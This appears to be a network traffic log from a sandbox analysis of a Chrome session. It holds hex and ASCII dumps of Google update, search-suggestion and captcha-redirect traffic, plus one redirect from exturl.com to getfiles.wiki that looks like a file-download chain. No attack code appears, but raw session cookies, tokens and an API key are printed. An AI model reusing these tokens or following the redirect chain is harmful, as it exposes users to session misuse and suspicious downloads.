2023-02-07 23:06:27 UTC	383	IN	Data Raw: 32 62 36 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 38 38 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 34 33 38 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2b6<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5881" elapsed_seconds="54387"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-02-07 23:06:27 UTC	384	IN	Data Raw: 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 85c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-02-07 23:06:27 UTC	384	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:27 UTC	380	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsB Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:27 UTC	384	IN	HTTP/1.1 200 OK Date: Tue, 07 Feb 2023 23:06:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-MWXPX1vrrK5ErWGSz-IIyA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: CONSENT=PENDING+533; expires=Thu, 06-Feb-2025 23:06:27 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:06:27 UTC	385	IN	Data Raw: 31 38 61 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 65 6e 67 6c 61 6e 64 20 72 75 67 62 79 22 2c 22 6d 65 74 20 6f 66 66 69 63 65 20 73 75 64 64 65 6e 20 73 74 72 61 74 6f 73 70 68 65 72 69 63 20 77 61 72 6d 69 6e 67 22 2c 22 70 73 76 72 32 22 2c 22 65 6c 6f 6e 20 6d 75 73 6b 20 74 65 73 6c 61 20 74 77 69 74 74 65 72 22 2c 22 6e 6f 72 77 69 63 68 20 63 69 74 79 22 2c 22 75 6c 65 7a 20 65 78 70 61 6e 73 69 6f 6e 22 2c 22 77 77 65 20 6a 65 72 72 79 20 6c 61 77 6c 65 72 22 2c 22 61 72 6e 65 20 73 6c 6f 74 20 66 65 79 65 6e 6f 6f 72 64 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 Data Ascii: 18a8)]}'["",["england rugby","met office sudden stratospheric warming","psvr2","elon musk tesla twitter","norwich city","ulez expansion","wwe jerry lawler","arne slot feyenoord"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":fals
2023-02-07 23:06:27 UTC	387	IN	Data Raw: 67 2b 41 35 43 66 52 37 6d 58 35 4a 31 4c 68 76 69 4e 6c 32 58 36 78 69 2b 4e 65 63 49 43 65 74 39 76 35 73 34 59 51 51 35 51 45 46 64 31 72 54 2b 4a 50 49 6e 75 70 43 73 46 76 47 4e 79 4f 68 76 43 4a 79 52 4a 53 6b 44 77 79 34 6c 64 7a 45 72 54 79 4c 69 4d 39 54 56 77 33 34 47 4e 6f 4d 37 37 65 69 44 74 45 4a 69 73 44 50 51 39 63 53 4e 77 4f 73 61 4e 2b 68 6d 6d 57 4d 56 6b 63 7a 49 37 54 64 45 73 6b 76 55 42 70 46 54 44 59 36 37 35 44 43 51 6a 77 43 35 37 61 73 69 63 33 52 78 38 4d 77 49 57 5a 56 44 6f 6e 68 34 34 71 72 4a 2f 53 63 54 77 66 64 68 54 50 58 33 6a 74 53 6c 39 37 4d 43 68 30 73 67 2b 67 51 66 6f 70 44 36 38 43 34 62 5a 4d 54 33 62 4f 45 4f 5a 6f 34 51 48 66 75 69 4c 73 75 38 47 69 4a 66 54 35 61 79 79 41 6b 59 67 56 67 35 31 47 4b 4a 30 45 Data Ascii: g+A5CfR7mX5J1LhviNl2X6xi+NecICet9v5s4YQQ5QEFd1rT+JPInupCsFvGNyOhvCJyRJSkDwy4ldzErTyLiM9TVw34GNoM77eiDtEJisDPQ9cSNwOsaN+hmmWMVkczI7TdEskvUBpFTDY675DCQjwC57asic3Rx8MwIWZVDonh44qrJ/ScTwfdhTPX3jtSl97MCh0sg+gQfopD68C4bZMT3bOEOZo4QHfuiLsu8GiJfT5ayyAkYgVg51GKJ0E
2023-02-07 23:06:27 UTC	388	IN	Data Raw: 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 7a 63 33 4e 2f 2f 41 41 42 45 49 41 45 41 41 51 41 4d 42 49 67 41 43 45 51 45 44 45 51 48 2f 78 41 41 62 41 41 45 41 41 51 55 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 42 51 45 43 41 77 51 47 43 50 2f 45 41 44 59 51 41 41 45 44 41 67 51 44 42 77 45 46 43 51 41 41 41 41 41 41 41 41 45 43 41 77 51 41 45 51 55 53 49 54 45 47 45 30 45 48 49 6c 46 68 63 59 47 68 51 68 51 79 6b 63 48 77 49 7a 4e 44 55 6d 4a 79 73 64 48 68 2f 38 51 41 47 51 45 41 41 67 4d 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 51 41 41 51 49 46 2f 38 51 41 49 42 45 41 41 67 49 43 41 51 55 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 43 45 51 4d 68 45 67 51 79 51 Data Ascii: c3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3N//AABEIAEAAQAMBIgACEQEDEQH/xAAbAAEAAQUBAAAAAAAAAAAAAAAHBQECAwQGCP/EADYQAAEDAgQDBwEFCQAAAAAAAAECAwQAEQUSITEGE0EHIlFhcYGhQhQykcHwIzNDUmJysdHh/8QAGQEAAgMBAAAAAAAAAAAAAAAAAwQAAQIF/8QAIBEAAgICAQUBAAAAAAAAAAAAAAECEQMhEgQyQ
2023-02-07 23:06:27 UTC	390	IN	Data Raw: 54 50 31 54 63 77 7a 71 74 4b 4d 7a 52 67 39 42 4a 50 7a 63 6e 50 55 38 67 74 4c 63 35 57 4b 45 6b 74 7a 6b 6c 55 4b 43 6e 50 4c 43 6c 4a 4c 51 49 41 30 41 4d 4d 54 51 22 2c 22 74 22 3a 22 65 6c 6f 6e 20 6d 75 73 6b 20 74 65 73 6c 61 20 74 77 69 74 74 65 72 22 2c 22 7a 61 65 22 3a 22 2f 6d 2f 30 33 6e 7a 66 31 22 2c 22 7a 6c 22 3a 38 7d 2c 7b 22 61 22 3a 22 46 6f 6f 74 62 61 6c 6c 20 63 6c 75 62 22 2c 22 64 63 22 3a 22 23 38 30 37 39 30 30 22 2c 22 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 6b 41 41 41 42 41 43 41 4d 41 41 41 43 58 36 79 2b 2b 41 41 41 41 6b 31 42 4d 56 45 55 44 6a 45 44 2f 2f 2f 2f 2f 38 67 44 2f 38 77 41 41 6a 45 44 2f 39 77 Data Ascii: TP1TcwzqtKMzRg9BJPzcnPU8gtLc5WKEktzklUKCnPLClJLQIA0AMMTQ","t":"elon musk tesla twitter","zae":"/m/03nzf1","zl":8},{"a":"Football club","dc":"#807900","i":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADkAAABACAMAAACX6y++AAAAk1BMVEUDjED/////8gD/8wAAjED/9w
2023-02-07 23:06:27 UTC	391	IN	Data Raw: 35 31 0d 0a 59 63 77 58 44 53 78 33 50 6b 7a 41 67 47 35 6e 75 6a 73 55 66 56 39 48 39 53 74 58 33 56 53 69 56 73 4f 42 4c 49 30 75 55 7a 55 6d 54 30 71 68 33 50 5a 70 6c 4c 57 38 54 31 4d 78 35 34 68 35 31 69 34 67 75 61 78 49 35 4c 6e 4b 62 39 4c 52 71 0d 0a Data Ascii: 51YcwXDSx3PkzAgG5nujsUfV9H9StX3VSiVsOBLI0uUzUmT0qh3PZplLW8T1Mx54h51i4guaxI5LnKb9LRq
2023-02-07 23:06:27 UTC	392	IN	Data Raw: 31 34 39 62 0d 0a 2b 47 6e 46 5a 30 42 79 4a 56 68 72 7a 44 38 6d 34 71 48 53 2b 47 48 49 63 37 67 70 53 47 55 37 55 51 38 6c 52 55 63 56 6e 64 4f 32 72 6f 77 52 72 79 55 77 2b 58 39 79 35 68 70 4f 37 47 69 51 6e 6c 48 79 53 63 47 48 44 70 37 31 64 53 44 2f 5a 7a 49 71 33 49 51 63 34 5a 64 70 4f 59 54 39 50 69 51 30 42 59 56 63 4e 75 67 45 6c 51 37 65 66 71 52 4e 5a 4d 36 6b 78 7a 39 49 6c 6f 47 68 6c 50 49 4d 68 5a 47 78 59 6e 44 43 78 4c 64 69 69 45 77 55 78 65 74 72 45 4c 32 37 39 4f 52 69 53 67 65 72 55 51 53 32 36 34 47 62 43 6a 39 5a 6c 49 36 33 30 54 67 58 43 61 30 46 6b 63 5a 43 6b 4c 4d 67 63 43 45 47 2f 49 36 4e 32 36 6b 68 75 6e 48 4d 6f 6a 50 6b 43 74 4c 47 49 34 55 78 78 53 76 4a 54 6e 74 63 75 4a 58 49 65 39 6f 36 44 6d 30 41 70 32 41 71 62 Data Ascii: 149b+GnFZ0ByJVhrzD8m4qHS+GHIc7gpSGU7UQ8lRUcVndO2rowRryUw+X9y5hpO7GiQnlHyScGHDp71dSD/ZzIq3IQc4ZdpOYT9PiQ0BYVcNugElQ7efqRNZM6kxz9IloGhlPIMhZGxYnDCxLdiiEwUxetrEL279ORiSgerUQS264GbCj9ZlI630TgXCa0FkcZCkLMgcCEG/I6N26khunHMojPkCtLGI4UxxSvJTntcuJXIe9o6Dm0Ap2Aqb
2023-02-07 23:06:27 UTC	393	IN	Data Raw: 51 41 41 41 41 41 41 41 41 41 41 41 41 45 43 45 51 4d 45 45 69 46 42 4d 52 4e 68 63 51 55 55 49 6a 49 7a 2f 39 6f 41 44 41 4d 42 41 41 49 52 41 78 45 41 50 77 42 32 6b 67 44 4a 70 42 2f 53 64 31 43 37 63 4c 38 2b 7a 48 6e 4b 58 43 42 43 65 79 7a 33 51 51 42 67 6a 33 35 4f 2f 76 38 41 44 46 4f 48 72 56 2f 36 74 30 74 63 48 64 65 67 68 41 41 56 6a 4f 43 56 41 43 6b 70 62 4f 6e 6e 4c 6a 63 56 50 76 4c 55 70 74 49 77 4e 5a 79 61 48 6b 6b 6f 2b 52 6a 42 6a 63 33 77 42 6f 74 35 6b 70 49 54 49 64 53 71 49 43 6a 57 77 70 4f 64 59 54 6e 41 49 41 7a 34 6b 37 55 4e 75 39 30 61 75 54 71 4f 78 61 55 32 47 30 42 74 53 4e 57 4e 53 52 77 4e 39 38 6a 7a 4e 58 35 37 6f 56 54 6a 78 63 5a 2f 70 61 63 59 39 63 35 7a 35 66 38 41 61 38 74 33 51 37 61 58 56 69 51 6e 43 63 39 33 Data Ascii: QAAAAAAAAAAAAECEQMEEiFBMRNhcQUUIjIz/9oADAMBAAIRAxEAPwB2kgDJpB/Sd1C7cL8+zHnKXCBCeyz3QQBgj35O/v8ADFOHrV/6t0tcHdeghAAVjOCVACkpbOnnLjcVPvLUptIwNZyaHkko+RjBjc3wBot5kpITIdSqICjWwpOdYTnAIAz4k7UNu90auTqOxaU2G0BtSNWNSRwN98jzNX57oVTjxcZ/pacY9c5z5f8Aa8t3Q7aXViQnCc93
2023-02-07 23:06:27 UTC	394	IN	Data Raw: 33 33 50 6b 61 72 56 73 69 51 33 6e 6c 5a 6a 74 6c 49 54 6a 54 77 66 58 61 6f 33 30 66 7a 47 6e 72 74 64 35 45 6c 65 75 51 6c 73 42 42 56 7a 70 4a 4f 72 39 45 31 6b 74 62 72 44 76 62 78 76 61 42 34 46 4a 35 76 33 34 48 4e 4e 2f 4f 75 67 6d 75 4b 35 42 5a 57 7a 62 49 37 54 53 46 48 4a 30 6f 78 6b 2b 5a 38 4b 48 79 49 62 73 5a 43 33 70 54 32 70 52 37 78 71 4c 50 36 76 66 59 6a 39 36 4d 76 49 47 35 77 4d 56 57 70 46 35 75 64 32 55 41 6c 6c 61 47 54 76 6e 42 33 72 43 54 66 6b 4f 32 6b 69 58 48 6b 71 58 4e 37 58 4a 4a 51 51 51 54 36 63 56 33 36 6b 6d 69 48 31 6b 33 4f 74 4d 68 62 44 79 32 45 4f 71 63 62 4f 43 6b 34 2f 67 44 62 78 71 45 79 6c 4d 5a 6f 71 64 4a 43 51 4e 53 31 6b 62 59 38 2f 64 56 64 6a 7a 6c 54 62 69 70 2f 53 66 76 43 72 59 38 68 49 34 48 35 41 Data Ascii: 33PkarVsiQ3nlZjtlITjTwfXao30fzGnrtd5EleuQlsBBVzpJOr9E1ktbrDvbxvaB4FJ5v34HNN/OugmuK5BZWzbI7TSFHJ0oxk+Z8KHyIbsZC3pT2pR7xqLP6vfYj96MvIG5wMVWpF5ud2UAllaGTvnB3rCTfkO2kiXHkqXN7XJJQQQT6cV36kmiH1k3OtMhbDy2EOqcbOCk4/gDbxqEylMZoqdJCQNS1kbY8/dVdjzlTbip/SfvCrY8hI4H5A
2023-02-07 23:06:27 UTC	395	IN	Data Raw: 52 72 72 44 57 76 4b 52 6e 7a 5a 72 51 6c 53 57 57 59 79 56 5a 47 6e 54 7a 6f 4c 78 48 59 6e 72 6b 77 4a 55 4e 33 41 53 4e 67 4b 45 77 37 62 50 75 4c 4a 69 43 53 6f 4a 51 4d 4b 4a 35 30 66 43 76 30 76 6d 37 78 57 62 6b 73 6f 55 4e 4a 2b 38 61 4a 74 42 70 53 76 46 61 49 49 56 7a 78 57 64 54 59 45 6c 69 63 37 45 53 70 52 55 6a 6d 71 6d 54 67 38 76 6f 6a 4b 62 65 57 56 46 4b 69 4e 36 4f 64 48 4f 4f 48 6e 49 47 6c 50 74 79 75 49 70 51 6c 49 63 6a 4b 58 39 6d 70 53 44 6e 47 6e 59 45 48 30 41 4e 57 6a 61 72 52 5a 4a 73 47 35 53 70 32 74 51 64 48 6d 64 55 54 73 64 74 78 2b 6d 4b 69 34 79 30 52 5a 63 61 54 6e 41 57 34 55 71 2f 6c 4f 42 67 31 43 35 4c 55 70 44 42 38 53 4b 49 36 75 5a 66 53 56 62 2b 77 4f 50 65 73 32 70 46 71 6f 30 7a 63 6f 31 49 79 70 70 70 63 47 Data Ascii: RrrDWvKRnzZrQlSWWYyVZGnTzoLxHYnrkwJUN3ASNgKEw7bPuLJiCSoJQMKJ50fCv0vm7xWbksoUNJ+8aJtBpSvFaIIVzxWdTYElic7ESpRUjmqmTg8vojKbeWVFKiN6OdHOOHnIGlPtyuIpQlIcjKX9mpSDnGnYEH0ANWjarRZJsG5Sp2tQdHmdUTsdtx+mKi4y0RZcaTnAW4Uq/lOBg1C5LUpDB8SKI6uZfSVb+wOPes2pFqo0zco1IypppcG
2023-02-07 23:06:27 UTC	396	IN	Data Raw: 65 76 61 6e 63 65 22 3a 5b 36 30 31 2c 36 30 30 2c 35 35 35 2c 35 35 34 2c 35 35 33 2c 35 35 32 2c 35 35 31 2c 35 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 2c 5b 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 45 4e 54 49 54 59 22 5d 2c 22 67 6f 6f 67 6c 65 3a 76 65 72 62 61 74 Data Ascii: evance":[601,600,555,554,553,552,551,550],"google:suggestsubtypes":[[143,362],[143,362],[143,362],[143,362],[143,362],[143,362],[143,362],[143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","ENTITY","ENTITY","QUERY","ENTITY","ENTITY"],"google:verbat
2023-02-07 23:06:27 UTC	397	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:27 UTC	381	OUT	GET /async/newtab_ogb?hl=en-GB&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:27 UTC	400	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-GB%26async%3Dfixed:0&hl=en-GB&q=EgRUETQNGPOyi58GIjDNuxC-7HdD42p9Vr-eF2BMstaHJrY9xtwNs0ji09lujqxCojvg9Ib12S94WrVVUuUyAXI x-hallmonitor-challenge: CgwI87KLnwYQtKXjnQESBFQRNA0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Tue, 07 Feb 2023 23:06:27 GMT Server: gws Content-Length: 418 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: __Secure-ENID=10.SE=FFiiecN-5a3gI4E04xFCobfUglD__7Ogp6VSGQJP2RV-IPfkfxYM4M5a1tkHNr41j-WJc8jEmzJ1MpG71wixzt3oZk1hP2M4vgn4f4EOyDpgqJszXFNLUSflg5PfHbOvvyGJmCvYMqbQIbXC-MFbGDzyBrwhnJQTpqTESVpVnGE; expires=Sat, 09-Mar-2024 15:24:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: CONSENT=PENDING+892; expires=Thu, 06-Feb-2025 23:06:27 GMT; path=/; domain=.google.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:06:27 UTC	401	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:49 UTC	5	OUT	GET /r.php?key=pvwarw3 HTTP/1.1 Host: exturl.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:05:49 UTC	6	IN	HTTP/1.1 302 Found Server: nginx/1.22.0 Date: Tue, 07 Feb 2023 23:05:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: uclick=2tejghh98n; expires=Wed, 08-Feb-2023 23:05:49 GMT; Max-Age=86400; path=/; secure; SameSite=none Set-Cookie: uclickhash=2tejghh98n-2tejghh98n-bzfe-0-qdi4-hqbl-hqwj-58af57; expires=Wed, 08-Feb-2023 23:05:49 GMT; Max-Age=86400; path=/; secure; SameSite=none Location: https://getfiles.wiki/redirect.php Strict-Transport-Security: max-age=31536000
2023-02-07 23:05:49 UTC	7	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:27 UTC	382	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:27 UTC	399	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRUETQNGPOyi58GIjDczIlC-AmQDDQQr3kjj5Bxk4lKfuGHwjZo51iMC0gANLTXBegUKnQ0HzY0Jp6OcTIyAXI x-hallmonitor-challenge: CgwI87KLnwYQkKzFjQESBFQRNA0 Content-Type: text/html; charset=UTF-8 Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Tue, 07 Feb 2023 23:06:27 GMT Server: gws Content-Length: 377 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: __Secure-ENID=10.SE=KxspBoxaS0aHokd9QpvCDv1bTg1hpfisKSlIWwxmswYWxrzSaUcxNAahWechjQ7WvTzu2n6Tw_6M6gFKpaJM4fBNl6AaKwsU9skOt7wjlalVEbqTrKJOasSchC6YTb0OqByt2Of3rw8QDsuSRDjYCRDBWIPJznyGEUJVHSbK7u8; expires=Sat, 09-Mar-2024 15:24:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: CONSENT=PENDING+461; expires=Thu, 06-Feb-2025 23:06:27 GMT; path=/; domain=.google.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:06:27 UTC	400	IN	Data Raw: 3c 48 54 Data Ascii: <HT
